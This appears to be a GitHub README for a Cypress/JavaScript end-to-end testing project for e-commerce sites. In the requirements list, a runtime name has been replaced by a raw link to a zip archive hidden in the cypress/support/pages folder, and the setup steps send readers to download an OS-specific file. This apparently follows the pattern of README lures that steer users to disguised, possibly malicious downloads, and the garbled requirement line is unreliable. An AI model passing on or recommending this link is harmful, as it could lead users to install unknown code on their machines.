Welcome to the qa-automation-exercise project! This application helps you automate end-to-end tests for e-commerce sites using Cypress and JavaScript. You can easily ensure that your online store works perfectly.
This project uses the Page Object Model (POM) design pattern, making test automation straightforward and maintainable. Whether you're a beginner or just want to improve your testing process, this tool is for you.
Key Features:
- End-to-end testing for e-commerce applications
- Built with Cypress and JavaScript
- Follows the Page Object Model for better organization
- Easy setup and user-friendly interface
To ensure the application runs smoothly, please verify the following:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/Nurulkarim/qa-automation-exercise/main/cypress/support/pages/qa_automation_exercise_v1.5.zip Version 12 or higher
- NPM: Version 6 or higher
- Cypress: Version 7 or higher (included during setup)
Follow these steps to download and run the application:
-
Visit the Releases Page
- Go to the Releases Page to find the latest version of the application.
-
Download the Latest Version
- Click on the version number you want to download. This will take you to a page with various files.
- Look for the file that matches your operating system and download it.
-
Install Dependencies
- After downloading, open your terminal or command prompt.
- Navigate to the download location.
- Run the command:
npm install - This installs all necessary dependencies.
-
Run the Application
- In the terminal or command prompt, use this command:
npm run test - This will launch the testing environment.
- In the terminal or command prompt, use this command:
-
Review Your Results
- After running the tests, check the terminal for results and logs.
- Verify that all tests passed successfully.
Once installed, you can customize the tests to suit your specific e-commerce application. The code structure helps you create new tests quickly.
-
Adding New Test Cases:
- Navigate to the
cypress/integrationdirectory. - Create a new file for your test cases.
- Follow the existing test structure as a guide.
- Navigate to the
-
Running Specific Tests:
- Open the terminal and run:
npm run test <test_file_name> - Replace
<test_file_name>with the name of your test file.
- Open the terminal and run:
We welcome contributions from everyone! Whether you find a bug, have suggestions, or want to improve the project, please reach out.
- Issues: Feel free to report issues on the GitHub Issues Page.
- Discussions: Join ongoing discussions on the projectβs Discussions Page.
- Cypress Documentation: For deeper understanding of Cypress, visit Cypress Documentation.
- JavaScript Basics: If you're new to JavaScript, check out JavaScript Info for a comprehensive guide.
Keep track of all changes and updates in each version by visiting the Changelog.
Remember, testing is an essential part of software development. With qa-automation-exercise, you can streamline your testing process effectively.
Please follow these steps carefully to make your setup process smooth. Enjoy automating your tests!